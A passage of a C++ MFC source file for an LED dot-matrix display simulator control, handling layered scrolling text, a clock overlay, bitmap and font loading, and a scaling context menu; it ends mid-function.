static BYTE __FONT_BUFFER[LAYER_COUNT][DATA_LINE*DATA_LENGTH];
/////////////////////////////////////////////////////////////////////////////
// CMatrixSimulator
CMatrixSimulator::CMatrixSimulator()
{
m_cx = 0; m_cy = 0; m_pBuffer = NULL;
m_ptPosition = CPoint(0,0);
m_pOrigin = new BYTE[DATA_LINE*DATA_LENGTH];
m_pEnd = m_pOrigin + DATA_LINE*DATA_LENGTH;
memset(m_pOrigin,BLANK_STATE,DATA_LINE*DATA_LENGTH);
m_pClock = new BYTE[DATA_LINE*CLOCK_LENGTH];
memset(m_pClock,BLANK_STATE,DATA_LINE*CLOCK_LENGTH);
m_bHitScroll = FALSE;
m_bReCalcMatrix = FALSE;
m_szBkPos = CSize(0,0);
m_pDCMem = NULL;
m_nChar = 0;
m_nColumeH = 0;
m_nColumeL = 0;
m_nTextLength = 0;
m_nFontTextLength = 0;
m_pStart = m_pOrigin;
m_pStaticLine = NULL;
m_nCurrentLayer = 0;
m_bScrolling = FALSE;
m_nFontPixelLenght = 0;
m_bLoadBkgndImgs = FALSE;
m_bVisibleBkLayer = TRUE;
m_bVisibleLayer[0] = TRUE;
m_bVisibleLayer[1] = TRUE;
m_bVisibleLayer[2] = TRUE;
m_bVisibleLayer[3] = TRUE;
for (int i = 0; i<LAYER_COUNT; i++)
{
m_szTextPos[i] = CSize(0,0);
m_nTextLengthPixel[i] = 0;
m_bLoadImage[i] = FALSE;
memset(__SCREEN_LAYER[i],BLANK_STATE,DATA_LINE*DATA_LENGTH);
memset(__FONT_BUFFER[i],BLANK_STATE,DATA_LINE*DATA_LENGTH);
}
}
CMatrixSimulator::~CMatrixSimulator()
{
if (m_pDCMem){
//m_pDCMem->SelectObject(m_pOldBitmap);
//m_pDCMem->DeleteDC();
delete m_pDCMem;
}
}
BEGIN_MESSAGE_MAP(CMatrixSimulator, CStatic)
ON_WM_CONTEXTMENU()
//{{AFX_MSG_MAP(CMatrixSimulator)
ON_WM_DESTROY()
ON_WM_PAINT()
ON_WM_TIMER()
ON_WM_CREATE()
ON_COMMAND(ID_POPUP_CHANGESCALE_1X1, OnPopupChangescale1x1)
ON_COMMAND(ID_POPUP_CHANGESCALE_2X2, OnPopupChangescale2x2)
ON_COMMAND(ID_POPUP_CHANGESCALE_3X3, OnPopupChangescale3x3)
ON_COMMAND(ID_POPUP_CHANGESCALE_4X4, OnPopupChangescale4x4)
ON_COMMAND(ID_POPUP_STARTSCROLL, OnPopupStartscroll)
ON_COMMAND(ID_POPUP_STOPSCROLL, OnPopupStopscroll)
ON_COMMAND(ID_POPUP_LOADFRAMESIMAGE, OnPopupLoadframesimage)
ON_COMMAND(ID_POPUP_LOADBACKGROUNDIMAGE, OnPopupLoadbackgroundimage)
ON_WM_VSCROLL()
ON_WM_HSCROLL()
//}}AFX_MSG_MAP
END_MESSAGE_MAP()
/////////////////////////////////////////////////////////////////////////////
// CMatrixSimulator message handlers
void CMatrixSimulator::OnDestroy()
{
CStatic::OnDestroy();
if (m_pOrigin)
delete[] m_pOrigin;
if (m_pStaticLine)
delete[] m_pStaticLine;
if (m_pClock)
delete[] m_pClock;
}
void CMatrixSimulator::OnPaint()
{
CPaintDC dc(this); // device context for painting
CDC* pDC =&dc;
CRect rect;
GetClientRect(rect);
if (m_pDCMem == NULL){
m_pDCMem = new CDC();
m_pDCMem->CreateCompatibleDC(pDC);
m_bmpDCMem.CreateCompatibleBitmap(pDC, rect.Width(),rect.Height() );
m_pOldBitmap = m_pDCMem->SelectObject(&m_bmpDCMem);
this->DisplayFrame(m_pDCMem,FALSE);
}
else if (m_bReCalcMatrix){
m_bReCalcMatrix = FALSE;
if(m_bmpDCMem.DeleteObject()){
m_bmpDCMem.CreateCompatibleBitmap(pDC, rect.Width(),rect.Height() );
m_pOldBitmap = m_pDCMem->SelectObject(&m_bmpDCMem);
this->DisplayFrame(m_pDCMem,FALSE);
}
}
if (m_bHitScroll){
m_bHitScroll = FALSE;
dc.BitBlt(0,0,rect.Width(), rect.Height(),m_pDCMem,0,0,SRCCOPY);
}
else{
this->DisplayFrame(pDC,FALSE);
}
pDC->DrawEdge(&rect,BDR_RAISEDINNER,BF_RECT|BF_ADJUST);
pDC->DrawEdge(&rect,BDR_SUNKENOUTER,BF_RECT|BF_ADJUST);
}
void CMatrixSimulator::OnTimer(UINT nIDEvent)
{
if (nIDEvent == TIMER_ID && m_nScrollMode)
{
if (m_wCharWidth[m_nChar] >= m_cx)
{
m_pStart ++;
}
else
{
m_pStart += 8;
if (m_pStart > m_pOrigin + m_cx - m_wCharWidth[m_nChar])
{
m_nChar++;
m_pStart = m_pOrigin + m_wCharWidth[m_nChar];
}
}
int nTextLengthPixel = m_nTextLengthPixel[0] - m_szTextPos[0].cx;
for (int i=0; i< LAYER_COUNT; i++)
{
if (nTextLengthPixel < m_nTextLengthPixel[i] - m_szTextPos[0].cx)
nTextLengthPixel = m_nTextLengthPixel[i] - m_szTextPos[0].cx;
}
int cx = m_cx + nTextLengthPixel;
if (m_pStart >= m_pOrigin + (cx + 10))
{
m_pStart = m_pOrigin;
m_nChar = 0;
}
CClientDC dc(this);
CDC* pDC =&dc;
this->Invalidate(FALSE);
}
else if (nIDEvent == CLOCK_ID)
{
CTime time = CTime::GetCurrentTime();
CString csText = time.Format(_T("%H:%M:%S"));
char szText[50] = {0x01,0x02,0x03,0x00};
#ifdef _UNICODE
LPTSTR szData = (LPTSTR)csText.GetBuffer(csText.GetLength());
int length = WideCharToMultiByte(CP_ACP,0,szData,wcslen(szData),szText,sizeof(szText),NULL,NULL);
szText[length] = '\0';
#endif
ShowClock(szText);
}
CStatic::OnTimer(nIDEvent);
}
void CMatrixSimulator::SetPixelSize(int cx, int cy)
{
m_cx = cx; m_cy = cy;
if (m_pStaticLine)
delete[] m_pStaticLine;
m_pStaticLine = new BYTE[m_cx*8];
memset(m_pStaticLine,BLANK_STATE,m_cx*8);
ClearScreen();
for (int i =0;i < LAYER_COUNT;i++)
ClearLayer(i);
}
void CMatrixSimulator::SetCurrentLayer(int nLayer)
{
m_nCurrentLayer = nLayer;
}
CSize CMatrixSimulator::GetPixelSize() const
{
return CSize(m_cx,m_cy);
}
void CMatrixSimulator::GetPixelSize(int *cx, int *cy)
{
*cx = m_cx; *cy = m_cy;
}
void CMatrixSimulator::DisplayFrame(CDC*pDC, BOOL bRefresh)
{
// display one frame in the screen at the specific time
int count_col = 0, count_row = 0;
if (pDC){
if (pDC->m_hDC){
m_nColumeL = m_cx - (m_pStart - m_pOrigin) + m_wCharWidth[m_nChar];
m_nColumeH = m_cx - (m_pStart - m_pOrigin) + m_wCharWidth[m_nChar+1];
for (m_pBuffer = m_pStart;m_pBuffer < m_pEnd; m_pBuffer++)
{
DrawBitCol(pDC,count_col,count_row);
if ( ++count_col >= m_cx)
{
count_col = 0; // reset for next colume
if (++count_row >= 8)
{
// reset row for next row
count_row = 0;
}
m_pBuffer += DATA_LENGTH - m_cx;
}
}
if (bRefresh){
this->Invalidate(FALSE);
}
}
}
}
extern CGeneralSettings __SETTING;
void CMatrixSimulator::ReCalcLayout(int scale, BOOL bRedraw)
{
m_bReCalcMatrix = TRUE;
SetWindowPos(NULL,0,0,m_cx*scale+1,m_cy*scale+1,SWP_NOMOVE);
if (bRedraw)
{
this->RedrawWindow();
GetParent()->RedrawWindow();
}
__SETTING.m_nScale = scale;
}
int CMatrixSimulator::OnCreate(LPCREATESTRUCT lpCreateStruct)
{
if (CStatic::OnCreate(lpCreateStruct) == -1)
return -1;
return 0;
}
void CMatrixSimulator::DrawBitCol(CDC *pDC, int bit_col, int bit_row)
{
CRect rect = CRect();
GetClientRect(&rect);
int cx = rect.Width()/m_cx;
int cy = rect.Height()/m_cy;
CBrush brR(RGB(255,0,0));
CBrush brG(RGB(0,255,0));
CBrush brY(RGB(255,255,0));
CBrush brW(RGB(50,50,50));
CBrush* pBrC = NULL;
CBrush* pBrOld = pDC->SelectObject(&brR);
// drawing 4 lines with 2 colors here
BYTE mask = 0x01;
BOOL bR = FALSE, bG = FALSE;
// one byte in m_pBuffer[] contain 8 lines
for (int line = 0; line < m_cy/8; line++)
{
CRect rc = CRect(rect);
rc.right = rc.left + cx +1;
rc.bottom = rc.top + cy +1;
rc.OffsetRect(0,cy*line*8);
for (int i = 0; i< bit_col; i++)
rc.OffsetRect(cx,0);
for (int j = 0; j< bit_row; j++)
rc.OffsetRect(0,cy);
// select white color
pDC->SelectObject(brW);
bR = FALSE; bG = FALSE;
// processing scroll mode
BYTE data = 0;
if (m_bScrolling)
{
if (m_wCharWidth[m_nChar] < m_cx)
{
if (bit_col < m_wCharWidth[m_nChar])
{
data = m_pOrigin[m_cx + bit_col + DATA_LENGTH*bit_row];
}
else if ((bit_col > m_nColumeL) && (bit_col < m_nColumeH))
data = (*m_pBuffer);
else
data = 0x00;
}
else
{
data = (*m_pBuffer);
}
if (bit_col < 80)
{
data = m_pClock[bit_col+bit_row*CLOCK_LENGTH] ;
}
}
else
{
if (m_bVisibleBkLayer)
data = (data) | (m_pStaticLine[bit_col+bit_row*m_cx]);
for (int l=LAYER_COUNT-1; l>= 0; l--)
{
if (m_bVisibleLayer[l])
data = ExtORByte(data,__SCREEN_LAYER[l][bit_col + DATA_LENGTH*bit_row + m_cx]);
}
}
COLORREF clr = RGB(0,0,0);
// check red color
if (data&mask)
{
bR = TRUE;
clr = RGB(255,0,0);
pDC->SelectObject(brR);
}
mask = mask<<1;
// check green color
if (data&mask)
{
bG = TRUE;
clr = RGB(0,255,0);
pDC->SelectObject(brG);
}
// check yellow color
if (bR && bG){
clr = RGB(255,255,0);
pDC->SelectObject(brY);
}
if ( cx > 1 ){
pDC->Ellipse(rc);
}
else{
pDC->SetPixel(CPoint(rc.left,rc.top),clr);
}
mask = mask<<1;
}
pDC->SelectObject(pBrOld);
}
void CMatrixSimulator::ClearScreen()
{
memset(m_pOrigin,BLANK_STATE,DATA_LINE*DATA_LENGTH);
memset(m_pClock,BLANK_STATE,DATA_LINE*CLOCK_LENGTH);
this->Invalidate(FALSE);
}
void CMatrixSimulator::ClearLayer(int nLayer)
{
m_szTextPos[nLayer] = CSize(0,0);
m_bLoadImage[m_nCurrentLayer] = FALSE;
memset(__SCREEN_LAYER[nLayer],BLANK_STATE,DATA_LINE*DATA_LENGTH);
this->Invalidate(FALSE);
}
void CMatrixSimulator::ClearBkGnd()
{
m_szBkPos = CSize(0,0);
m_bLoadBkgndImgs = FALSE;
memset(m_pStaticLine,BLANK_STATE,m_cx*DATA_LINE);
this->Invalidate(FALSE);
}
void CMatrixSimulator::SetRate(int nRate)
{
m_nRate = nRate;
}
void CMatrixSimulator::StartScroll(int nRate)
{
this->ClearScreen();
for (int i=3; i>= 0; i--)
if (m_bVisibleLayer[i])
this->MergeLayer(i);
m_pStart = m_pOrigin + 0;
m_pEnd = m_pStart + DATA_LENGTH*DATA_LINE;
m_bScrolling = TRUE;
SetTimer(TIMER_ID,m_nRate=nRate,NULL);
SetTimer(CLOCK_ID,500,NULL);
}
void CMatrixSimulator::StopScroll()
{
m_bScrolling = FALSE;
KillTimer(TIMER_ID);
KillTimer(CLOCK_ID);
this->Invalidate(FALSE);
}
void CMatrixSimulator::LoadData(PBYTE pData, int nSize)
{
#if 0
if (DATA_LINE*DATA_LENGTH > nSize)
memcpy(m_pOrigin,pData,nSize);
else
memcpy(m_pOrigin,pData,DATA_LINE*DATA_LENGTH);
#else
static int i = 0;
static int row = 0;
m_pOrigin[i + row*DATA_LENGTH] = *pData;
if (++i >= nSize)
{
i = 0;
if (++row>=8)
row =0;
}
Invalidate();
#endif
}
void CMatrixSimulator::LoadText(const char *szText, int nColor, BOOL bGradient)
{
int cx =0, nPixel =0;
PBYTE pData = __SCREEN_LAYER[m_nCurrentLayer] + m_cx;
if (m_bLoadImage[m_nCurrentLayer]==FALSE){
memset(__SCREEN_LAYER[m_nCurrentLayer],BLANK_STATE,DATA_LINE*DATA_LENGTH);
}
nPixel = TextFromFont(szText,nColor, FALSE/*bGradient*/, (PBYTE*)&pData,DATA_LENGTH);
m_wCharWidth[0] = 0;
int len = m_nTextLength = strlen(szText);
for (int i = 0; i< len; i++)
{
BYTE sz = BYTE(szText[i]);
if (sz >255) sz =255;
cx += char_map[sz].width;
if (i <256){
m_wCharWidth[i + 1] = cx;
}
if (cx > DATA_LENGTH)
break; // cut off too long text
}
m_nTextLengthPixel[m_nCurrentLayer] = nPixel;
MoveText(m_szTextPos[m_nCurrentLayer].cx,m_szTextPos[m_nCurrentLayer].cy,m_nCurrentLayer,FALSE);
m_pStart = m_pOrigin + m_cx;
m_pEnd = m_pStart + DATA_LENGTH*DATA_LINE;
if (bGradient)
GradientLayer(nColor,m_nCurrentLayer);
this->Invalidate(FALSE);
}
void CMatrixSimulator::LoadCharMap(LPCTSTR szFile)
{
#ifdef __OLD_VER_SAVE_FONT
CFile file(szFile,CFile::modeRead);
CArchive ar(&file,CArchive::load);
for (int i = 0; i < 256; i++)
{
ar>>char_map[i].heigth>>char_map[i].width;
for (int x = 0; x < char_map[i].width; x++)
{
for (int y = 0; y < char_map[i].heigth; y++)
{
ar>>char_map[i].pdata[x][y];
}
}
}
ar.Close();
file.Close();
#else
DecompressFont(szFile);
LoadFont();
#endif
}
int CMatrixSimulator::GetBuffer(PBYTE *pBuffer, int nLayer)
{
*pBuffer = __SCREEN_LAYER[m_nCurrentLayer] + m_cx;
int nTextLengthPixel = m_nTextLengthPixel[m_nCurrentLayer] - m_szTextPos[m_nCurrentLayer].cx;
return nTextLengthPixel;
}
int CMatrixSimulator::GetBuffer(PBYTE *pBuffer)
{
*pBuffer = m_pOrigin + m_cx;
int nTextLengthPixel = m_nTextLengthPixel[0] - m_szTextPos[0].cx;
for (int i=0; i< LAYER_COUNT; i++)
{
if (nTextLengthPixel < m_nTextLengthPixel[i] - m_szTextPos[i].cx)
nTextLengthPixel = m_nTextLengthPixel[i] - m_szTextPos[i].cx;
}
return (nTextLengthPixel);
}
int CMatrixSimulator::GetStaticBuffer(PBYTE* pBuffer)
{
*pBuffer = m_pStaticLine;
return (m_cx);
}
void CMatrixSimulator::LoadStaticText(const char *szText, int nColor, BOOL bGradient)
{
PBYTE pData = m_pStaticLine;
if (m_bLoadBkgndImgs==FALSE){
memset(m_pStaticLine,0x00,m_cx*8);
}
UINT nLength = TextFromFont(szText,nColor, FALSE/*bGradient*/, (PBYTE*)&m_pStaticLine,m_cx);
MoveStaticText(m_szBkPos.cx,m_szBkPos.cy,FALSE);
if (bGradient)
GradientLayer(nColor,-1);
this->Invalidate(FALSE);
}
void CMatrixSimulator::SetScrollMode(int nMode)
{
m_nScrollMode = nMode;
}
void CMatrixSimulator::MoveText(int x, int y, int layer, BOOL bUpdate)
{
PBYTE pBuffer = __SCREEN_LAYER[layer];
if (bUpdate)
{
m_szTextPos[layer].cx += x;
m_szTextPos[layer].cy += y;
}
// moving on x-axis
if (x > 0)
for (int j = 0; j < 8; j++)
for (int i = 0; i < DATA_LENGTH; i++)
if ( i >= DATA_LENGTH - x)
pBuffer[i + (DATA_LENGTH*j)] = 0;
else
pBuffer[i + (DATA_LENGTH*j)] = pBuffer[i+x+(DATA_LENGTH*j)];
else if (x < 0)
for (int j = 0; j < 8; j++)
for (int i = DATA_LENGTH-1; i >=0 ; i--)
if ( i < -x )
pBuffer[i + (DATA_LENGTH*j)] = 0;
else
pBuffer[i + (DATA_LENGTH*j)] = pBuffer[i+x+(DATA_LENGTH*j)];
// moving on y-axis
if (y > 0)
for (int b = 0; b < y ; b++)
for (int i = 0; i < DATA_LENGTH ; i++)
{
BYTE mask = 0x03;
for (int x=0;x<4;x++){
pBuffer[i +(DATA_LENGTH*0)]= pBuffer[i +(DATA_LENGTH*0)]&(~mask) | pBuffer[i +(DATA_LENGTH*1)]&mask;
pBuffer[i +(DATA_LENGTH*1)]= pBuffer[i +(DATA_LENGTH*1)]&(~mask) | pBuffer[i +(DATA_LENGTH*2)]&mask;
pBuffer[i +(DATA_LENGTH*2)]= pBuffer[i +(DATA_LENGTH*2)]&(~mask) | pBuffer[i +(DATA_LENGTH*3)]&mask;
pBuffer[i +(DATA_LENGTH*3)]= pBuffer[i +(DATA_LENGTH*3)]&(~mask) | pBuffer[i +(DATA_LENGTH*4)]&mask;
pBuffer[i +(DATA_LENGTH*4)]= pBuffer[i +(DATA_LENGTH*4)]&(~mask) | pBuffer[i +(DATA_LENGTH*5)]&mask;
pBuffer[i +(DATA_LENGTH*5)]= pBuffer[i +(DATA_LENGTH*5)]&(~mask) | pBuffer[i +(DATA_LENGTH*6)]&mask;
pBuffer[i +(DATA_LENGTH*6)]= pBuffer[i +(DATA_LENGTH*6)]&(~mask) | pBuffer[i +(DATA_LENGTH*7)]&mask;
pBuffer[i +(DATA_LENGTH*7)]= pBuffer[i +(DATA_LENGTH*7)]&(~mask) | (pBuffer[i +(DATA_LENGTH*0)]&(mask<<2))>>2;
mask = mask<<2;
}
}
else if (y < 0)
for (int b = 0; b < -y ; b++)
for (int i = 0; i < DATA_LENGTH ; i++)
{
BYTE mask = 0xC0;
for (int x=0;x<4;x++){
pBuffer[i +(DATA_LENGTH*7)]= pBuffer[i +(DATA_LENGTH*7)]&(~mask) | pBuffer[i +(DATA_LENGTH*6)]&mask;
pBuffer[i +(DATA_LENGTH*6)]= pBuffer[i +(DATA_LENGTH*6)]&(~mask) | pBuffer[i +(DATA_LENGTH*5)]&mask;
pBuffer[i +(DATA_LENGTH*5)]= pBuffer[i +(DATA_LENGTH*5)]&(~mask) | pBuffer[i +(DATA_LENGTH*4)]&mask;
pBuffer[i +(DATA_LENGTH*4)]= pBuffer[i +(DATA_LENGTH*4)]&(~mask) | pBuffer[i +(DATA_LENGTH*3)]&mask;
pBuffer[i +(DATA_LENGTH*3)]= pBuffer[i +(DATA_LENGTH*3)]&(~mask) | pBuffer[i +(DATA_LENGTH*2)]&mask;
pBuffer[i +(DATA_LENGTH*2)]= pBuffer[i +(DATA_LENGTH*2)]&(~mask) | pBuffer[i +(DATA_LENGTH*1)]&mask;
pBuffer[i +(DATA_LENGTH*1)]= pBuffer[i +(DATA_LENGTH*1)]&(~mask) | pBuffer[i +(DATA_LENGTH*0)]&mask;
pBuffer[i +(DATA_LENGTH*0)]= pBuffer[i +(DATA_LENGTH*0)]&(~mask) | (pBuffer[i +(DATA_LENGTH*7)]&(mask>>2))<<2;
mask = mask>>2;
}
}
this->Invalidate(FALSE);
}
void CMatrixSimulator::MoveStaticText(int x, int y, BOOL bUpdate)
{
PBYTE pBuffer = m_pStaticLine;
if (bUpdate)
{
m_szBkPos.cx += x;
m_szBkPos.cy += y;
}
// moving on x-axis
if (x > 0)
for (int j = 0; j < 8; j++)
for (int i = 0; i < m_cx; i++)
if ( i >= m_cx - x)
pBuffer[i + (m_cx*j)] = 0;
else
pBuffer[i + (m_cx*j)] = pBuffer[i+x+(m_cx*j)];
else if (x < 0)
for (int j = 0; j < 8; j++)
for (int i = m_cx-1; i >=0 ; i--)
if ( i < -x )
pBuffer[i + (m_cx*j)] = 0;
else
pBuffer[i + (m_cx*j)] = pBuffer[i+x+(m_cx*j)];
// moving on y-axis
if (y > 0)
for (int b = 0; b < y ; b++)
for (int i = 0; i < m_cx ; i++)
{
BYTE mask = 0x03;
for (int x=0;x<4;x++){
pBuffer[i +(m_cx*0)]= pBuffer[i +(m_cx*0)]&(~mask) | pBuffer[i +(m_cx*1)]&mask;
pBuffer[i +(m_cx*1)]= pBuffer[i +(m_cx*1)]&(~mask) | pBuffer[i +(m_cx*2)]&mask;
pBuffer[i +(m_cx*2)]= pBuffer[i +(m_cx*2)]&(~mask) | pBuffer[i +(m_cx*3)]&mask;
pBuffer[i +(m_cx*3)]= pBuffer[i +(m_cx*3)]&(~mask) | pBuffer[i +(m_cx*4)]&mask;
pBuffer[i +(m_cx*4)]= pBuffer[i +(m_cx*4)]&(~mask) | pBuffer[i +(m_cx*5)]&mask;
pBuffer[i +(m_cx*5)]= pBuffer[i +(m_cx*5)]&(~mask) | pBuffer[i +(m_cx*6)]&mask;
pBuffer[i +(m_cx*6)]= pBuffer[i +(m_cx*6)]&(~mask) | pBuffer[i +(m_cx*7)]&mask;
pBuffer[i +(m_cx*7)]= pBuffer[i +(m_cx*7)]&(~mask) | (pBuffer[i +(m_cx*0)]&(mask<<2))>>2;
mask = mask<<2;
}
}
else if (y < 0)
for (int b = 0; b < -y ; b++)
for (int i = 0; i < m_cx ; i++)
{
BYTE mask = 0xC0;
for (int x=0;x<4;x++){
pBuffer[i +(m_cx*7)]= pBuffer[i +(m_cx*7)]&(~mask) | pBuffer[i +(m_cx*6)]&mask;
pBuffer[i +(m_cx*6)]= pBuffer[i +(m_cx*6)]&(~mask) | pBuffer[i +(m_cx*5)]&mask;
pBuffer[i +(m_cx*5)]= pBuffer[i +(m_cx*5)]&(~mask) | pBuffer[i +(m_cx*4)]&mask;
pBuffer[i +(m_cx*4)]= pBuffer[i +(m_cx*4)]&(~mask) | pBuffer[i +(m_cx*3)]&mask;
pBuffer[i +(m_cx*3)]= pBuffer[i +(m_cx*3)]&(~mask) | pBuffer[i +(m_cx*2)]&mask;
pBuffer[i +(m_cx*2)]= pBuffer[i +(m_cx*2)]&(~mask) | pBuffer[i +(m_cx*1)]&mask;
pBuffer[i +(m_cx*1)]= pBuffer[i +(m_cx*1)]&(~mask) | pBuffer[i +(m_cx*0)]&mask;
pBuffer[i +(m_cx*0)]= pBuffer[i +(m_cx*0)]&(~mask) | (pBuffer[i +(m_cx*7)]&(mask>>2))<<2;
mask = mask>>2;
}
}
this->Invalidate(FALSE);
}
void CMatrixSimulator::MergeLayer(int nLayer)
{
for (int y=0 ; y < DATA_LINE; y++)
{
for (int x=0 ; x < DATA_LENGTH; x++)
{
m_pOrigin[x + DATA_LENGTH*y] = ExtORByte(m_pOrigin[x + DATA_LENGTH*y],__SCREEN_LAYER[nLayer][x + DATA_LENGTH*y]);
}
}
// clear layer merged
// memset(__SCREEN_LAYER[nLayer],0x00,DATA_LINE*DATA_LENGTH);
m_pStart = m_pOrigin + m_cx;
m_pEnd = m_pStart + DATA_LENGTH*DATA_LINE;
this->Invalidate(FALSE);
}
BYTE CMatrixSimulator::ExtORByte(BYTE byte1, BYTE byte2)
{
BYTE result = 0;
BYTE mask = 0x03;
for (int i =0; i< 4; i++)
{
if (byte2&mask)
result |= byte2&mask;
else
result |= byte1&mask;
mask = mask<<2;
}
return result;
}
void CMatrixSimulator::SetVisibleLayer(BOOL *bLayer)
{
memcpy(m_bVisibleLayer,bLayer,sizeof(m_bVisibleLayer));
}
void CMatrixSimulator::SetVisibleBkLayer(BOOL bVisible)
{
m_bVisibleBkLayer = bVisible;
}
void CMatrixSimulator::OnContextMenu(CWnd*, CPoint point)
{
// CG: This block was added by the Pop-up Menu component
{
if (point.x == -1 && point.y == -1){
//keystroke invocation
CRect rect;
GetClientRect(rect);
ClientToScreen(rect);
point = rect.TopLeft();
point.Offset(5, 5);
}
CMenu menu;
VERIFY(menu.LoadMenu(CG_IDR_POPUP_MATRIX_SIMULATOR));
CMenu* pPopup = menu.GetSubMenu(0);
ASSERT(pPopup != NULL);
CWnd* pWndPopupOwner = this;
pPopup->TrackPopupMenu(TPM_LEFTALIGN | TPM_RIGHTBUTTON, point.x, point.y,
pWndPopupOwner);
}
}
void CMatrixSimulator::LoadBkGnd(LPCTSTR szBmpFile)
{
this->LoadImage(szBmpFile,TRUE);
}
void CMatrixSimulator::LoadImage(LPCTSTR szBmpFile, BOOL bBkGnd)
{
CDib dib;
dib.Load(szBmpFile);
CClientDC dc(this);
CDC memDC;
memDC.CreateCompatibleDC(&dc);
CBitmap bitmap;
if (dib.GetSize().cx > DATA_LENGTH || dib.GetSize().cy > 32)
{
MessageBox(_T("T\x1EAD"L"p tin \x1EA3"L"nh c\xF3"L" k\xED"L"ch th\x1B0"L"\x1EDB"L"c qu\xE1"L" l\x1EDB"L"n"),_T("Nap \x1EA3"L"nh"),MB_OK);
return;
}
int cx = dib.GetSize().cx;
int cy = dib.GetSize().cy;
if (cx > DATA_LENGTH ) cx = DATA_LENGTH;
if (cy > m_cy ) cy = m_cy;
CRect rcDest = CRect(0,0,cx,cy);
CRect rcSrc = CRect(0,0,cx,cy);
dib.Draw(&dc,&rcDest,&rcSrc);
bitmap.CreateCompatibleBitmap(&dc, cx, cy );
CBitmap* pOldBitmap = memDC.SelectObject(&bitmap);
memDC.BitBlt(0, 0, cx, cy, &dc, 0, 0, SRCCOPY);
BYTE buffer[DATA_LENGTH][32];
memset(buffer,0xFF,DATA_LENGTH*32);
for (int x = 0; x < cx; x++)
{
for (int y = 0; y < cy; y++)
{
COLORREF clr = memDC.GetPixel(x,y);
int nColor = 0;
if (
GetRValue(clr) > 150
) nColor = 1;
if (
GetGValue(clr) > 150
) nColor = 2;
if (
GetRValue(clr) > 150 &&
GetGValue(clr) > 150
) nColor = 3;
buffer[x][y] = nColor;
}
}
PBYTE pData = bBkGnd?m_pStaticLine:__SCREEN_LAYER[m_nCurrentLayer] + m_cx;
if (!bBkGnd)
memset(__SCREEN_LAYER[m_nCurrentLayer],0x00,DATA_LINE*DATA_LENGTH);
else
memset(m_pStaticLine,0x00,m_cx*DATA_LINE);
for (int z=0; z< 8 ; z+=2)
for (int y=0; y< 8 ; y++)
{
for (int x=0; x< (bBkGnd?m_cx:cx); x++)
{
if (buffer[x][y + z*4])
{
pData[x + (y)*(bBkGnd?m_cx:DATA_LENGTH)] |= (buffer[x][y + z*4]<<z);
}
else if (buffer[x][y + z*4]==0)
pData[x + (y)*(bBkGnd?m_cx:DATA_LENGTH)] &= ~(buffer[x][y + z*4]<<z);
}
}
if (!bBkGnd)
{
m_pStart = m_pOrigin + m_cx;
m_pEnd = m_pStart + DATA_LENGTH*DATA_LINE;
m_nTextLengthPixel[m_nCurrentLayer] = m_cx;
m_bLoadImage[m_nCurrentLayer] = TRUE;
}
else{
m_bLoadBkgndImgs = TRUE;
}
memDC.SelectObject(pOldBitmap);
GetParent()->RedrawWindow(CRect(0,0,m_cx,m_cy));
}
void CMatrixSimulator::ChangeBkColor(int nColor, BOOL bGradient)
{
PBYTE pBuffer = m_pStaticLine;
for (int i =0; i< m_cx*DATA_LINE; i++)
{
pBuffer[i] = ChangeColor(nColor,BYTE(pBuffer[i]));
}
if (bGradient)
GradientLayer(nColor,-1);
}
BYTE CMatrixSimulator::ChangeColor(int nColor, BYTE data)
{
BYTE maskR = 0x01;
BYTE maskG = 0x02;
for (int i =0; i< 4; i++)
{
if (data&maskR) // red
{
data &= ~maskR; // clear old
data |= nColor<<(i*2); //add new
}
else if (data&maskG) // green
{
data &= ~maskG; // clear old
data |= nColor<<(i*2); //add new
}
if (data&maskR && data&maskG) // yeallow
{
data &= ~maskR; // clear old
data &= ~maskG; // clear old
data |= nColor<<(i*2); //add new
}
maskR = maskR<<2;
maskG = maskG<<2;
}
return data;
}
void CMatrixSimulator::ChangeColor(int nColor, int nLayer, BOOL bGradient)
{
PBYTE pBuffer = __SCREEN_LAYER[nLayer];
for (int i =0; i< DATA_LENGTH*DATA_LINE; i++)
{
pBuffer[i] = ChangeColor(nColor,BYTE(pBuffer[i]));
}
if (bGradient)
GradientLayer(nColor,nLayer);
}
void CMatrixSimulator::OnPopupChangescale1x1()
{
this->ReCalcLayout(1,TRUE);
}
void CMatrixSimulator::OnPopupChangescale2x2()
{
this->ReCalcLayout(2,TRUE);
}
void CMatrixSimulator::OnPopupChangescale3x3()
{
this->ReCalcLayout(3,TRUE);
}
void CMatrixSimulator::OnPopupChangescale4x4()
{
this->ReCalcLayout(4,TRUE);
}
void CMatrixSimulator::OnPopupStartscroll()
{
this->StartScroll();
}
void CMatrixSimulator::OnPopupStopscroll()
{
this->StopScroll();
}
void CMatrixSimulator::OnPopupLoadframesimage()
{
///////////////////////////////////////////////////////////////////
// OPEN FILE TO IMPORT
/*****************************************************************/
CFileDialog dlg(TRUE,NULL,NULL,NULL,_T("Bitmap File(*.bmp)|*.bmp||"));
if ( dlg.DoModal() == IDCANCEL )
{
return ; // nothing selected
}
CString csFile = dlg.GetPathName();
#ifdef _UNICODE
char szBuffer[MAX_PATH];
LPTSTR szData = (LPTSTR)csFile.GetBuffer(csFile.GetLength());
if (wcslen(szData)>=1024) szData[1024] = '\0';
int len = WideCharToMultiByte(CP_ACP,0,szData,wcslen(szData),szBuffer,sizeof(szBuffer),NULL,NULL);
szBuffer[len] = '\0';
#endif
LoadImage(csFile);
RedrawWindow();
}
void CMatrixSimulator::OnPopupLoadbackgroundimage()
{
///////////////////////////////////////////////////////////////////
// OPEN FILE TO IMPORT
/*****************************************************************/
CFileDialog dlg(TRUE,NULL,NULL,NULL,_T("Bitmap File(*.bmp)|*.bmp||"));
if ( dlg.DoModal() == IDCANCEL )
{
return ; // nothing selected
}
CString csFile = dlg.GetPathName();
#ifdef _UNICODE
char szBuffer[MAX_PATH];
LPTSTR szData = (LPTSTR)csFile.GetBuffer(csFile.GetLength());
if (wcslen(szData)>=1024) szData[1024] = '\0';
int len = WideCharToMultiByte(CP_ACP,0,szData,wcslen(szData),szBuffer,sizeof(szBuffer),NULL,NULL);
szBuffer[len] = '\0';
#endif
LoadBkGnd(csFile);
RedrawWindow();
}
#define FONT_HEIGHT 32
void CMatrixSimulator::CompressFont(LPCTSTR szFile)
{
BYTE dim[256][2];
BYTE buffer[FONT_HEIGHT*8*256];
memset(buffer,0x00,sizeof(buffer));
for (int i=0; i< 256; i++)
{
for (int x=0; x< FONT_HEIGHT; x++)
{
for (int y=0; y < FONT_HEIGHT; y++)
{
if (char_map[i].pdata[y][x])
